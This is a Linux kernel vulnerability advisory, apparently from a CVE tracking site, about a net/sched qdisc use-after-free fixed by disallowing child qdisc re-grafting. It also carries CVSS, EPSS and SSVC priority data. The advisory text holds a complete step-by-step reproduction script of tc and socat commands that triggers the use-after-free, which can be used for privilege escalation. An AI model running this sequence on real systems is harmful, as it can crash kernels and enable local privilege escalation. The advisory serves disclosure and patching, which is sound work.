In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".
Joint work with Lion Ackermann
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (7.8): severity, escalated by confirmed exploitation. This CVE's 7.8 is its impact severity (EG Severity), not escalated.
- EG Severity
- 7.8 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
- EG Likelihood
- 0.2% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-10-27). FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).
A fix is available. Apply it within your standard update timelines.
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.
The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it